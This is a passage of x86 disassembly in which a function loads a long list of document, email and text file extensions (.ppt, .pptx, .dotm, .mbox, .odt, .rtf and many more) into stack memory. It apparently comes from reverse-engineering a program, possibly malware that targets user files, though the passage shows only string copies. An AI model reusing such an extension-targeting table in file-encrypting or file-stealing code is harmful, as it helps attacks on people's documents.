mov word [ebp - 0xbc0], ax
movq xmm0, qword [str..xld]
movq qword [ebp - 0xbd4], xmm0
movzx eax, word [0x44e4a4]
mov word [ebp - 0xbcc], ax
movq xmm0, qword [str..xlgc]
movq qword [ebp - 0x2350], xmm0
mov eax, dword [0x44e4b0]
mov dword [ebp - 0x2348], eax
xor eax, eax
mov word [ebp - 0x2344], ax
movq xmm0, qword [str..zdb]
movq qword [ebp - 0xbe0], xmm0
movzx eax, word [0x44e4bc]
mov word [ebp - 0xbd8], ax
movq xmm0, qword [str..zdc]
movq qword [ebp - 0xbec], xmm0
movzx eax, word [0x44e4c8]
mov word [ebp - 0xbe4], ax
movq xmm0, qword [str..cdr]
movq qword [ebp - 0xbf8], xmm0
movzx eax, word [0x44e4d4]
mov word [ebp - 0xbf0], ax
movq xmm0, qword [str..cdr3]
movq qword [ebp - 0x2360], xmm0
mov eax, dword [0x44e4e0]
mov dword [ebp - 0x2358], eax
xor eax, eax
mov word [ebp - 0x2354], ax
movq xmm0, qword [str..ppt]
movq qword [ebp - 0xc04], xmm0
movzx eax, word [0x44e4ec]
mov word [ebp - 0xbfc], ax
movq xmm0, qword [str..pptx]
movq qword [ebp - 0x2370], xmm0
mov eax, dword [0x44e4f8]
mov dword [ebp - 0x2368], eax
xor eax, eax
mov word [ebp - 0x2364], ax
movq xmm0, qword [str..abw]
movq qword [ebp - 0xc10], xmm0
movzx eax, word [0x44e504]
mov word [ebp - 0xc08], ax
movq xmm0, qword [str..act]
movq qword [ebp - 0xc1c], xmm0
movzx eax, word [0x44e510]
mov word [ebp - 0xc14], ax
movq xmm0, qword [str..aim]
movq qword [ebp - 0xc28], xmm0
movzx eax, word [0x44e51c]
mov word [ebp - 0xc20], ax
movq xmm0, qword [str..ans]
movq qword [ebp - 0xc34], xmm0
movzx eax, word [0x44e528]
mov word [ebp - 0xc2c], ax
movq xmm0, qword [str..apt]
movq qword [ebp - 0xc40], xmm0
movzx eax, word [0x44e534]
mov word [ebp - 0xc38], ax
movq xmm0, qword [str..asc]
movq qword [ebp - 0xc4c], xmm0
movzx eax, word [0x44e540]
mov word [ebp - 0xc44], ax
movq xmm0, qword [str..ase]
movq qword [ebp - 0xc58], xmm0
movzx eax, word [0x44e54c]
mov word [ebp - 0xc50], ax
movq xmm0, qword [str..aty]
movq qword [ebp - 0xc64], xmm0
movzx eax, word [0x44e558]
mov word [ebp - 0xc5c], ax
movq xmm0, qword [str..awp]
movq qword [ebp - 0xc70], xmm0
movzx eax, word [0x44e564]
mov word [ebp - 0xc68], ax
movq xmm0, qword [str..awt]
movq qword [ebp - 0xc7c], xmm0
movzx eax, word [0x44e570]
mov word [ebp - 0xc74], ax
movq xmm0, qword [str..aww]
movq qword [ebp - 0xc88], xmm0
movzx eax, word [0x44e57c]
mov word [ebp - 0xc80], ax
movq xmm0, qword [str..bad]
movq qword [ebp - 0xc94], xmm0
movzx eax, word [0x44e588]
mov word [ebp - 0xc8c], ax
movq xmm0, qword [str..bbs]
movq qword [ebp - 0xca0], xmm0
movzx eax, word [0x44e594]
mov word [ebp - 0xc98], ax
movq xmm0, qword [str..bdp]
movq qword [ebp - 0xcac], xmm0
movzx eax, word [0x44e5a0]
mov word [ebp - 0xca4], ax
movq xmm0, qword [str..bdr]
movq qword [ebp - 0xcb8], xmm0
movzx eax, word [0x44e5ac]
mov word [ebp - 0xcb0], ax
movq xmm0, qword [str..bean]
movq qword [ebp - 0x2380], xmm0
mov eax, dword [0x44e5b8]
mov dword [ebp - 0x2378], eax
xor eax, eax
mov word [ebp - 0x2374], ax
movq xmm0, qword [str..bna]
movq qword [ebp - 0xcd0], xmm0
movzx eax, word [0x44e5c4]
mov word [ebp - 0xcc8], ax
movq xmm0, qword [str..boc]
movq qword [ebp - 0xcdc], xmm0
movzx eax, word [0x44e5d0]
mov word [ebp - 0xcd4], ax
movq xmm0, qword [str..btd]
movq qword [ebp - 0xce8], xmm0
movzx eax, word [0x44e5dc]
mov word [ebp - 0xce0], ax
movq xmm0, qword [str..cnm]
movq qword [ebp - 0xcf4], xmm0
movzx eax, word [0x44e5e8]
mov word [ebp - 0xcec], ax
movq xmm0, qword [str..crwl]
movq qword [ebp - 0x2390], xmm0
mov eax, dword [0x44e5f4]
mov dword [ebp - 0x2388], eax
xor eax, eax
mov word [ebp - 0x2384], ax
movq xmm0, qword [str..cyi]
movq qword [ebp - 0xd00], xmm0
movzx eax, word [0x44e600]
mov word [ebp - 0xcf8], ax
movq xmm0, qword [str..dca]
movq qword [ebp - 0xd0c], xmm0
movzx eax, word [0x44e60c]
mov word [ebp - 0xd04], ax
movq xmm0, qword [str..dgs]
movq qword [ebp - 0xd18], xmm0
movzx eax, word [0x44e618]
mov word [ebp - 0xd10], ax
movq xmm0, qword [str..diz]
movq qword [ebp - 0xd24], xmm0
movzx eax, word [0x44e624]
mov word [ebp - 0xd1c], ax
movq xmm0, qword [str..dne]
movq qword [ebp - 0xd30], xmm0
movzx eax, word [0x44e630]
mov word [ebp - 0xd28], ax
movq xmm0, qword [str..docz]
movq qword [ebp - 0x23a0], xmm0
mov eax, dword [0x44e63c]
mov dword [ebp - 0x2398], eax
xor eax, eax
mov word [ebp - 0x2394], ax
movq xmm0, qword [str..dot]
movq qword [ebp - 0xd3c], xmm0
movzx eax, word [0x44e648]
mov word [ebp - 0xd34], ax
movq xmm0, qword [str..dotm]
movq qword [ebp - 0x23b0], xmm0
mov eax, dword [0x44e654]
mov dword [ebp - 0x23a8], eax
xor eax, eax
mov word [ebp - 0x23a4], ax
movq xmm0, qword [str..dotx]
movq qword [ebp - 0x23c0], xmm0
mov eax, dword [0x44e660]
mov dword [ebp - 0x23b8], eax
xor eax, eax
mov word [ebp - 0x23b4], ax
movq xmm0, qword [str..dsv]
movq qword [ebp - 0xd48], xmm0
movzx eax, word [0x44e66c]
mov word [ebp - 0xd40], ax
movq xmm0, qword [str..dvi]
movq qword [ebp - 0xd54], xmm0
movzx eax, word [0x44e678]
mov word [ebp - 0xd4c], ax
mov eax, dword [0x44e67c]
mov dword [ebp - 0x230], eax
mov eax, dword [0x44e680]
mov dword [ebp - 0x22c], eax
xor eax, eax
mov word [ebp - 0x228], ax
movq xmm0, qword [str..eio]
movq qword [ebp - 0xd60], xmm0
movzx eax, word [0x44e68c]
mov word [ebp - 0xd58], ax
movq xmm0, qword [str..eit]
movq qword [ebp - 0xd6c], xmm0
movzx eax, word [0x44e698]
mov word [ebp - 0xd64], ax
movq xmm0, qword [str..emlx]
movq qword [ebp - 0x23d0], xmm0
mov eax, dword [0x44e6a4]
mov dword [ebp - 0x23c8], eax
xor eax, eax
mov word [ebp - 0x23c4], ax
movq xmm0, qword [str..epp]
movq qword [ebp - 0xd78], xmm0
movzx eax, word [0x44e6b0]
mov word [ebp - 0xd70], ax
movq xmm0, qword [str..err]
movq qword [ebp - 0xd84], xmm0
movzx eax, word [0x44e6bc]
mov word [ebp - 0xd7c], ax
movq xmm0, qword [str..etf]
movq qword [ebp - 0xd90], xmm0
movzx eax, word [0x44e6c8]
mov word [ebp - 0xd88], ax
movq xmm0, qword [str..etx]
movq qword [ebp - 0xd9c], xmm0
movzx eax, word [0x44e6d4]
mov word [ebp - 0xd94], ax
movq xmm0, qword [str..euc]
movq qword [ebp - 0xda8], xmm0
movzx eax, word [0x44e6e0]
mov word [ebp - 0xda0], ax
movq xmm0, qword [str..faq]
movq qword [ebp - 0xdb4], xmm0
movzx eax, word [0x44e6ec]
mov word [ebp - 0xdac], ax
movq xmm0, qword [str..fb2]
movq qword [ebp - 0x194], xmm0
movzx eax, word [0x44e6f8]
mov word [ebp - 0x18c], ax
movq xmm0, qword [str..fbl]
movq qword [ebp - 0xdc0], xmm0
movzx eax, word [0x44e704]
mov word [ebp - 0xdb8], ax
movq xmm0, qword [str..fcf]
movq qword [ebp - 0xdcc], xmm0
movzx eax, word [0x44e710]
mov word [ebp - 0xdc4], ax
movq xmm0, qword [str..fdf]
movq qword [ebp - 0xdd8], xmm0
movzx eax, word [0x44e71c]
mov word [ebp - 0xdd0], ax
movq xmm0, qword [str..fdr]
movq qword [ebp - 0xde4], xmm0
movzx eax, word [0x44e728]
mov word [ebp - 0xddc], ax
movq xmm0, qword [str..fds]
movq qword [ebp - 0xdf0], xmm0
movzx eax, word [0x44e734]
mov word [ebp - 0xde8], ax
movq xmm0, qword [str..fdt]
movq qword [ebp - 0xdfc], xmm0
movzx eax, word [0x44e740]
mov word [ebp - 0xdf4], ax
movq xmm0, qword [str..fdx]
movq qword [ebp - 0xe08], xmm0
movzx eax, word [0x44e74c]
mov word [ebp - 0xe00], ax
movq xmm0, qword [str..fdxt]
movq qword [ebp - 0x23e0], xmm0
mov eax, dword [0x44e758]
mov dword [ebp - 0x23d8], eax
xor eax, eax
mov word [ebp - 0x23d4], ax
movq xmm0, qword [str..fes]
movq qword [ebp - 0xe14], xmm0
movzx eax, word [0x44e764]
mov word [ebp - 0xe0c], ax
movq xmm0, qword [str..fft]
movq qword [ebp - 0xe20], xmm0
movzx eax, word [0x44e770]
mov word [ebp - 0xe18], ax
movq xmm0, qword [str..flr]
movq qword [ebp - 0xe2c], xmm0
movzx eax, word [0x44e77c]
mov word [ebp - 0xe24], ax
movq xmm0, qword [str..fodt]
movq qword [ebp - 0x23f0], xmm0
mov eax, dword [0x44e788]
mov dword [ebp - 0x23e8], eax
xor eax, eax
mov word [ebp - 0x23e4], ax
movq xmm0, qword [str..gtp]
movq qword [ebp - 0xe38], xmm0
movzx eax, word [0x44e794]
mov word [ebp - 0xe30], ax
movq xmm0, qword [str..frt]
movq qword [ebp - 0xe44], xmm0
movzx eax, word [0x44e7a0]
mov word [ebp - 0xe3c], ax
movq xmm0, qword [str..fwdn]
movq qword [ebp - 0x2400], xmm0
mov eax, dword [0x44e7ac]
mov dword [ebp - 0x23f8], eax
xor eax, eax
mov word [ebp - 0x23f4], ax
movq xmm0, qword [str..fxc]
movq qword [ebp - 0xe50], xmm0
movzx eax, word [0x44e7b8]
mov word [ebp - 0xe48], ax
movq xmm0, qword [str..gdoc]
movq qword [ebp - 0x2410], xmm0
mov eax, dword [0x44e7c4]
mov dword [ebp - 0x2408], eax
xor eax, eax
mov word [ebp - 0x2404], ax
movq xmm0, qword [str..gio]
movq qword [ebp - 0xe5c], xmm0
movzx eax, word [0x44e7d0]
mov word [ebp - 0xe54], ax
movq xmm0, qword [str..gpn]
movq qword [ebp - 0xe68], xmm0
movzx eax, word [0x44e7dc]
mov word [ebp - 0xe60], ax
movq xmm0, qword [str..gsd]
movq qword [ebp - 0x74], xmm0
movzx eax, word [0x44e7e8]
mov word [ebp - 0x6c], ax
movq xmm0, qword [str..gthr]
movq qword [ebp - 0x2420], xmm0
mov eax, dword [0x44e7f4]
mov dword [ebp - 0x2418], eax
xor eax, eax
mov word [ebp - 0x2414], ax
mov eax, dword [0x44e7f8]
mov dword [ebp - 0x23c], eax
mov eax, dword [0x44e7fc]
mov dword [ebp - 0x238], eax
xor eax, eax
mov word [ebp - 0x234], ax
movq xmm0, qword [str..hbk]
movq qword [ebp - 0xe74], xmm0
movzx eax, word [0x44e808]
mov word [ebp - 0xe6c], ax
movq xmm0, qword [str..hht]
movq qword [ebp - 0xe80], xmm0
movzx eax, word [0x44e814]
mov word [ebp - 0xe78], ax
mov eax, dword [0x44e818]
mov dword [ebp - 0x248], eax
mov eax, dword [0x44e81c]
mov dword [ebp - 0x244], eax
xor eax, eax
mov word [ebp - 0x240], ax
movq xmm0, qword [str..htc]
movq qword [ebp - 0xe8c], xmm0
movzx eax, word [0x44e828]
mov word [ebp - 0xe84], ax
movq xmm0, qword [str..hwp]
movq qword [ebp - 0xe98], xmm0
movzx eax, word [0x44e834]
mov word [ebp - 0xe90], ax
mov eax, dword [0x44e838]
mov dword [ebp - 0x254], eax
mov eax, dword [0x44e83c]
mov dword [ebp - 0x250], eax
xor eax, eax
mov word [ebp - 0x24c], ax
movq xmm0, qword [str..idx]
movq qword [ebp - 0xea4], xmm0
movzx eax, word [0x44e848]
mov word [ebp - 0xe9c], ax
movq xmm0, qword [str..iil]
movq qword [ebp - 0xeb0], xmm0
movzx eax, word [0x44e854]
mov word [ebp - 0xea8], ax
movq xmm0, qword [str..ipf]
movq qword [ebp - 0xebc], xmm0
movzx eax, word [0x44e860]
mov word [ebp - 0xeb4], ax
movq xmm0, qword [str..jis]
movq qword [ebp - 0xec8], xmm0
movzx eax, word [0x44e86c]
mov word [ebp - 0xec0], ax
movq xmm0, qword [str..joe]
movq qword [ebp - 0xed4], xmm0
movzx eax, word [0x44e878]
mov word [ebp - 0xecc], ax
movq xmm0, qword [str..jp1]
movq qword [ebp - 0xee0], xmm0
movzx eax, word [0x44e884]
mov word [ebp - 0xed8], ax
movq xmm0, qword [str..jrtf]
movq qword [ebp - 0x2430], xmm0
mov eax, dword [0x44e890]
mov dword [ebp - 0x2428], eax
xor eax, eax
mov word [ebp - 0x2424], ax
movq xmm0, qword [str..kes]
movq qword [ebp - 0xeec], xmm0
movzx eax, word [0x44e89c]
mov word [ebp - 0xee4], ax
movq xmm0, qword [str..klg]
movq qword [ebp - 0xef8], xmm0
movzx eax, word [0x44e8a8]
mov word [ebp - 0xef0], ax
movq xmm0, qword [str..knt]
movq qword [ebp - 0xf04], xmm0
movzx eax, word [0x44e8b4]
mov word [ebp - 0xefc], ax
movq xmm0, qword [str..kon]
movq qword [ebp - 0xf10], xmm0
movzx eax, word [0x44e8c0]
mov word [ebp - 0xf08], ax
movq xmm0, qword [str..kwd]
movq qword [ebp - 0xf1c], xmm0
movzx eax, word [0x44e8cc]
mov word [ebp - 0xf14], ax
movq xmm0, qword [str..lbt]
movq qword [ebp - 0xf28], xmm0
movzx eax, word [0x44e8d8]
mov word [ebp - 0xf20], ax
movq xmm0, qword [str..lis]
movq qword [ebp - 0xf34], xmm0
movzx eax, word [0x44e8e4]
mov word [ebp - 0xf2c], ax
movq xmm0, qword [str..lit]
movq qword [ebp - 0xf40], xmm0
movzx eax, word [0x44e8f0]
mov word [ebp - 0xf38], ax
movq xmm0, qword [str..lnt]
movq qword [ebp - 0xf4c], xmm0
movzx eax, word [0x44e8fc]
mov word [ebp - 0xf44], ax
movq xmm0, qword [str..lp2]
movq qword [ebp - 0xf58], xmm0
movzx eax, word [0x44e908]
mov word [ebp - 0xf50], ax
movq xmm0, qword [str..lrc]
movq qword [ebp - 0xf64], xmm0
movzx eax, word [0x44e914]
mov word [ebp - 0xf5c], ax
movq xmm0, qword [str..lst]
movq qword [ebp - 0xf70], xmm0
movzx eax, word [0x44e920]
mov word [ebp - 0xf68], ax
movq xmm0, qword [str..ltr]
movq qword [ebp - 0xf7c], xmm0
movzx eax, word [0x44e92c]
mov word [ebp - 0xf74], ax
movq xmm0, qword [str..ltx]
movq qword [ebp - 0xf88], xmm0
movzx eax, word [0x44e938]
mov word [ebp - 0xf80], ax
movq xmm0, qword [str..lue]
movq qword [ebp - 0xf94], xmm0
movzx eax, word [0x44e944]
mov word [ebp - 0xf8c], ax
movq xmm0, qword [str..luf]
movq qword [ebp - 0xfa0], xmm0
movzx eax, word [0x44e950]
mov word [ebp - 0xf98], ax
movq xmm0, qword [str..lwp]
movq qword [ebp - 0xfac], xmm0
movzx eax, word [0x44e95c]
mov word [ebp - 0xfa4], ax
movq xmm0, qword [str..lyt]
movq qword [ebp - 0xfb8], xmm0
movzx eax, word [0x44e968]
mov word [ebp - 0xfb0], ax
movq xmm0, qword [str..lyx]
movq qword [ebp - 0xfc4], xmm0
movzx eax, word [0x44e974]
mov word [ebp - 0xfbc], ax
movq xmm0, qword [str..man]
movq qword [ebp - 0xfd0], xmm0
movzx eax, word [0x44e980]
mov word [ebp - 0xfc8], ax
movq xmm0, qword [str..map]
movq qword [ebp - 0xfdc], xmm0
movzx eax, word [0x44e98c]
mov word [ebp - 0xfd4], ax
movq xmm0, qword [str..mbox]
movq qword [ebp - 0x2440], xmm0
mov eax, dword [0x44e998]
mov dword [ebp - 0x2438], eax
xor eax, eax
mov word [ebp - 0x2434], ax
mov eax, dword [0x44e99c]
mov dword [ebp - 0x260], eax
mov eax, dword [0x44e9a0]
mov dword [ebp - 0x25c], eax
xor eax, eax
mov word [ebp - 0x258], ax
movq xmm0, qword [str..mell]
movq qword [ebp - 0x2450], xmm0
mov eax, dword [0x44e9ac]
mov dword [ebp - 0x2448], eax
xor eax, eax
mov word [ebp - 0x2444], ax
movq xmm0, qword [str..min]
movq qword [ebp - 0xfe8], xmm0
movzx eax, word [0x44e9b8]
mov word [ebp - 0xfe0], ax
movq xmm0, qword [str..mnt]
movq qword [ebp - 0xff4], xmm0
movzx eax, word [0x44e9c4]
mov word [ebp - 0xfec], ax
movq xmm0, qword [str..msg]
movq qword [ebp - 0x1000], xmm0
movzx eax, word [0x44e9d0]
mov word [ebp - 0xff8], ax
movq xmm0, qword [str..mwp]
movq qword [ebp - 0x100c], xmm0
movzx eax, word [0x44e9dc]
mov word [ebp - 0x1004], ax
movq xmm0, qword [str..nfo]
movq qword [ebp - 0x1018], xmm0
movzx eax, word [0x44e9e8]
mov word [ebp - 0x1010], ax
movq xmm0, qword [str..njx]
movq qword [ebp - 0x1024], xmm0
movzx eax, word [0x44e9f4]
mov word [ebp - 0x101c], ax
movq xmm0, qword [str..now]
movq qword [ebp - 0x1030], xmm0
movzx eax, word [0x44ea00]
mov word [ebp - 0x1028], ax
movq xmm0, qword [str..nzb]
movq qword [ebp - 0x103c], xmm0
movzx eax, word [0x44ea0c]
mov word [ebp - 0x1034], ax
movq xmm0, qword [str..ocr]
movq qword [ebp - 0x1048], xmm0
movzx eax, word [0x44ea18]
mov word [ebp - 0x1040], ax
movq xmm0, qword [str..odo]
movq qword [ebp - 0x1054], xmm0
movzx eax, word [0x44ea24]
mov word [ebp - 0x104c], ax
movq xmm0, qword [str..odt]
movq qword [ebp - 0x1060], xmm0
movzx eax, word [0x44ea30]
mov word [ebp - 0x1058], ax
movq xmm0, qword [str..ofl]
movq qword [ebp - 0x106c], xmm0
movzx eax, word [0x44ea3c]
mov word [ebp - 0x1064], ax
movq xmm0, qword [str..oft]
movq qword [ebp - 0x1078], xmm0
movzx eax, word [0x44ea48]
mov word [ebp - 0x1070], ax
movq xmm0, qword [str..ort]
movq qword [ebp - 0x1084], xmm0
movzx eax, word [0x44ea54]
mov word [ebp - 0x107c], ax
movq xmm0, qword [str..ott]
movq qword [ebp - 0x1090], xmm0
movzx eax, word [0x44ea60]
mov word [ebp - 0x1088], ax
movq xmm0, qword [str..p7s]
movq qword [ebp - 0x109c], xmm0
movzx eax, word [0x44ea6c]
mov word [ebp - 0x1094], ax
movq xmm0, qword [str..pfs]
movq qword [ebp - 0x10a8], xmm0
movzx eax, word [0x44ea78]
mov word [ebp - 0x10a0], ax
movq xmm0, qword [str..pfx]
movq qword [ebp - 0x10b4], xmm0
movzx eax, word [0x44ea84]
mov word [ebp - 0x10ac], ax
movq xmm0, qword [str..pjt]
movq qword [ebp - 0x10c0], xmm0
movzx eax, word [0x44ea90]
mov word [ebp - 0x10b8], ax
movq xmm0, qword [str..prt]
movq qword [ebp - 0x10cc], xmm0
movzx eax, word [0x44ea9c]
mov word [ebp - 0x10c4], ax
movq xmm0, qword [str..psw]
movq qword [ebp - 0x10d8], xmm0
movzx eax, word [0x44eaa8]
mov word [ebp - 0x10d0], ax
mov eax, dword [0x44eaac]
mov dword [ebp - 0x278], eax
mov eax, dword [0x44eab0]
mov dword [ebp - 0x274], eax
xor eax, eax
mov word [ebp - 0x270], ax
movq xmm0, qword [str..pvj]
movq qword [ebp - 0x10e4], xmm0
movzx eax, word [0x44eabc]
mov word [ebp - 0x10dc], ax
movq xmm0, qword [str..pvm]
movq qword [ebp - 0x10f0], xmm0
movzx eax, word [0x44eac8]
mov word [ebp - 0x10e8], ax
movq xmm0, qword [str..pwi]
movq qword [ebp - 0x10fc], xmm0
movzx eax, word [0x44ead4]
mov word [ebp - 0x10f4], ax
movq xmm0, qword [str..pwr]
movq qword [ebp - 0x1108], xmm0
movzx eax, word [0x44eae0]
mov word [ebp - 0x1100], ax
movq xmm0, qword [str..qdl]
movq qword [ebp - 0x1114], xmm0
movzx eax, word [0x44eaec]
mov word [ebp - 0x110c], ax
movq xmm0, qword [str..rad]
movq qword [ebp - 0x1120], xmm0
movzx eax, word [0x44eaf8]
mov word [ebp - 0x1118], ax
movq xmm0, qword [str..rft]
movq qword [ebp - 0x112c], xmm0
movzx eax, word [0x44eb04]
mov word [ebp - 0x1124], ax
movq xmm0, qword [str..ris]
movq qword [ebp - 0x1138], xmm0
movzx eax, word [0x44eb10]
mov word [ebp - 0x1130], ax
movq xmm0, qword [str..rng]
movq qword [ebp - 0x1144], xmm0
movzx eax, word [0x44eb1c]
mov word [ebp - 0x113c], ax
movq xmm0, qword [str..rpt]
movq qword [ebp - 0x1150], xmm0
movzx eax, word [0x44eb28]
mov word [ebp - 0x1148], ax
movq xmm0, qword [str..rst]
movq qword [ebp - 0x115c], xmm0
movzx eax, word [0x44eb34]
mov word [ebp - 0x1154], ax
mov eax, dword [0x44eb38]
mov dword [ebp - 0x284], eax
mov eax, dword [0x44eb3c]
mov dword [ebp - 0x280], eax
xor eax, eax
mov word [ebp - 0x27c], ax
movq xmm0, qword [str..rtd]
movq qword [ebp - 0x1168], xmm0
movzx eax, word [0x44eb48]
mov word [ebp - 0x1160], ax
movq xmm0, qword [str..rtf]
movq qword [ebp - 0x104], xmm0
movzx eax, word [0x44eb54]
mov word [ebp - 0xfc], ax
movq xmm0, qword [str..rtx]
movq qword [ebp - 0x1174], xmm0
movzx eax, word [0x44eb60]
mov word [ebp - 0x116c], ax
movq xmm0, qword [str..run]
movq qword [ebp - 0x1180], xmm0
movzx eax, word [0x44eb6c]
mov word [ebp - 0x1178], ax
movq xmm0, qword [str..rzk]
movq qword [ebp - 0x118c], xmm0
movzx eax, word [0x44eb78]
mov word [ebp - 0x1184], ax
movq xmm0, qword [str..rzn]
movq qword [ebp - 0x1198], xmm0
movzx eax, word [0x44eb84]
mov word [ebp - 0x1190], ax
movq xmm0, qword [str..saf]
movq qword [ebp - 0x11a4], xmm0
movzx eax, word [0x44eb90]
mov word [ebp - 0x119c], ax
movq xmm0, qword [str..sam]
movq qword [ebp - 0x11b0], xmm0
movzx eax, word [0x44eb9c]
mov word [ebp - 0x11a8], ax
movq xmm0, qword [str..scc]
movq qword [ebp - 0x11bc], xmm0
movzx eax, word [0x44eba8]
mov word [ebp - 0x11b4], ax
movq xmm0, qword [str..scm]
movq qword [ebp - 0x11c8], xmm0
movzx eax, word [0x44ebb4]
mov word [ebp - 0x11c0], ax
movq xmm0, qword [str..sct]
movq qword [ebp - 0xd4], xmm0
movzx eax, word [0x44ebc0]
mov word [ebp - 0xcc], ax
movq xmm0, qword [str..scw]
movq qword [ebp - 0x11d4], xmm0
movzx eax, word [0x44ebcc]
mov word [ebp - 0x11cc], ax
movq xmm0, qword [str..sdm]
movq qword [ebp - 0x11e0], xmm0
movzx eax, word [0x44ebd8]
mov word [ebp - 0x11d8], ax
movq xmm0, qword [str..sdoc]
movq qword [ebp - 0x2460], xmm0
mov eax, dword [0x44ebe4]
mov dword [ebp - 0x2458], eax
xor eax, eax
mov word [ebp - 0x2454], ax
movq xmm0, qword [str..sdw]
movq qword [ebp - 0x11ec], xmm0
movzx eax, word [0x44ebf0]
mov word [ebp - 0x11e4], ax
movq xmm0, qword [str..sgm]
movq qword [ebp - 0x11f8], xmm0
movzx eax, word [0x44ebfc]
mov word [ebp - 0x11f0], ax
movq xmm0, qword [str..sig]
movq qword [ebp - 0x1204], xmm0
movzx eax, word [0x44ec08]
mov word [ebp - 0x11fc], ax
movq xmm0, qword [str..sla]
movq qword [ebp - 0x1210], xmm0
movzx eax, word [0x44ec14]
mov word [ebp - 0x1208], ax
movq xmm0, qword [str..sls]
movq qword [ebp - 0x121c], xmm0
movzx eax, word [0x44ec20]
mov word [ebp - 0x1214], ax
movq xmm0, qword [str..smf]
movq qword [ebp - 0x1228], xmm0
movzx eax, word [0x44ec2c]
mov word [ebp - 0x1220], ax
movq xmm0, qword [str..sms]
movq qword [ebp - 0x1234], xmm0
movzx eax, word [0x44ec38]
mov word [ebp - 0x122c], ax
movq xmm0, qword [str..ssa]
movq qword [ebp - 0x1240], xmm0
movzx eax, word [0x44ec44]
mov word [ebp - 0x1238], ax
movq xmm0, qword [str..stw]
movq qword [ebp - 0x124c], xmm0
movzx eax, word [0x44ec50]
mov word [ebp - 0x1244], ax
movq xmm0, qword [str..sty]
movq qword [ebp - 0x1258], xmm0
movzx eax, word [0x44ec5c]
mov word [ebp - 0x1250], ax
movq xmm0, qword [str..sub]
movq qword [ebp - 0x1264], xmm0
movzx eax, word [0x44ec68]
mov word [ebp - 0x125c], ax
movq xmm0, qword [str..sxg]
movq qword [ebp - 0x1270], xmm0
movzx eax, word [0x44ec74]
mov word [ebp - 0x1268], ax
movq xmm0, qword [str..sxw]
movq qword [ebp - 0x127c], xmm0
movzx eax, word [0x44ec80]
mov word [ebp - 0x1274], ax
movq xmm0, qword [str..tab]
movq qword [ebp - 0x1288], xmm0
movzx eax, word [0x44ec8c]
mov word [ebp - 0x1280], ax
movq xmm0, qword [str..tdf]
movq qword [ebp - 0x1294], xmm0
movzx eax, word [0x44ec98]
mov word [ebp - 0x128c], ax
movq xmm0, qword [str..tex]
movq qword [ebp - 0xe0], xmm0
movzx eax, word [0x44eca4]
mov word [ebp - 0xd8], ax
movq xmm0, qword [0x44eca8]
movq qword [ebp - 0x2470], xmm0
mov eax, dword [0x44ecb0]
mov dword [ebp - 0x2468], eax
xor eax, eax
mov word [ebp - 0x2464], ax
movq xmm0, qword [str..thp]
movq qword [ebp - 0x12a0], xmm0
movzx eax, word [0x44ecbc]
mov word [ebp - 0x1298], ax
movq xmm0, qword [str..tlb]
movq qword [ebp - 0x12ac], xmm0
movzx eax, word [0x44ecc8]
mov word [ebp - 0x12a4], ax
mov eax, dword [0x44eccc]
mov dword [ebp - 0x290], eax
mov eax, dword [0x44ecd0]
mov dword [ebp - 0x28c], eax
xor eax, eax
mov word [ebp - 0x288], ax
movq xmm0, qword [str..tmv]
movq qword [ebp - 0x12b8], xmm0
movzx eax, word [0x44ecdc]
mov word [ebp - 0x12b0], ax
movq xmm0, qword [str..tmx]
movq qword [ebp - 0x12c4], xmm0
movzx eax, word [0x44ece8]
mov word [ebp - 0x12bc], ax
movq xmm0, qword [str..tpc]
movq qword [ebp - 0x12d0], xmm0
movzx eax, word [0x44ecf4]
mov word [ebp - 0x12c8], ax
movq xmm0, qword [str..tvj]
movq qword [ebp - 0x12dc], xmm0
movzx eax, word [0x44ed00]
mov word [ebp - 0x12d4], ax
movq xmm0, qword [str..u3d]
movq qword [ebp - 0x12e8], xmm0
movzx eax, word [0x44ed0c]
mov word [ebp - 0x12e0], ax
movq xmm0, qword [str..u3i]
movq qword [ebp - 0x12f4], xmm0
movzx eax, word [0x44ed18]
mov word [ebp - 0x12ec], ax
movq xmm0, qword [str..unx]
movq qword [ebp - 0x1300], xmm0
movzx eax, word [0x44ed24]
mov word [ebp - 0x12f8], ax
movq xmm0, qword [str..uof]
movq qword [ebp - 0x130c], xmm0
movzx eax, word [0x44ed30]
mov word [ebp - 0x1304], ax
movq xmm0, qword [str..uot]
movq qword [ebp - 0x1318], xmm0
movzx eax, word [0x44ed3c]
mov word [ebp - 0x1310], ax
movq xmm0, qword [str..upd]
movq qword [ebp - 0x1324], xmm0
movzx eax, word [0x44ed48]
mov word [ebp - 0x131c], ax
movq xmm0, qword [str..utf8]
movq qword [ebp - 0x2480], xmm0
mov eax, dword [0x44ed54]
mov dword [ebp - 0x2478], eax
xor eax, eax
mov word [ebp - 0x2474], ax
movq xmm0, qword [str..utxt]
movq qword [ebp - 0x2490], xmm0
mov eax, dword [0x44ed60]
mov dword [ebp - 0x2488], eax
xor eax, eax
mov word [ebp - 0x2484], ax
movq xmm0, qword [str..vct]
movq qword [ebp - 0x1330], xmm0
movzx eax, word [0x44ed6c]
mov word [ebp - 0x1328], ax
movq xmm0, qword [str..vnt]
movq qword [ebp - 0x133c], xmm0
movzx eax, word [0x44ed78]
mov word [ebp - 0x1334], ax
mov eax, dword [0x44ed7c]
mov dword [ebp - 0x2b4], eax
mov eax, dword [0x44ed80]
mov dword [ebp - 0x2b0], eax
xor eax, eax
mov word [ebp - 0x2ac], ax
movq xmm0, qword [str..wbk]
movq qword [ebp - 0x1348], xmm0
movzx eax, word [0x44ed8c]
mov word [ebp - 0x1340], ax
movq xmm0, qword [str..wcf]
movq qword [ebp - 0x1354], xmm0
movzx eax, word [0x44ed98]
mov word [ebp - 0x134c], ax
movq xmm0, qword [str..wgz]
movq qword [ebp - 0x1360], xmm0
movzx eax, word [0x44eda4]
mov word [ebp - 0x1358], ax
mov eax, dword [0x44eda8]
mov dword [ebp - 0x2c0], eax
mov eax, dword [0x44edac]
mov dword [ebp - 0x2bc], eax
xor eax, eax
mov word [ebp - 0x2b8], ax
mov eax, dword [0x44edb0]
mov dword [ebp - 0x2cc], eax
mov eax, dword [0x44edb4]
mov dword [ebp - 0x2c8], eax
xor eax, eax
mov word [ebp - 0x2c4], ax
movq xmm0, qword [str..wp4]
movq qword [ebp - 0x136c], xmm0
movzx eax, word [0x44edc0]
mov word [ebp - 0x1364], ax
movq xmm0, qword [str..wp5]
movq qword [ebp - 0x1378], xmm0
movzx eax, word [0x44edcc]
mov word [ebp - 0x1370], ax
movq xmm0, qword [str..wp6]
movq qword [ebp - 0x1384], xmm0
movzx eax, word [0x44edd8]
mov word [ebp - 0x137c], ax
movq xmm0, qword [str..wp7]
movq qword [ebp - 0x1390], xmm0
movzx eax, word [0x44ede4]
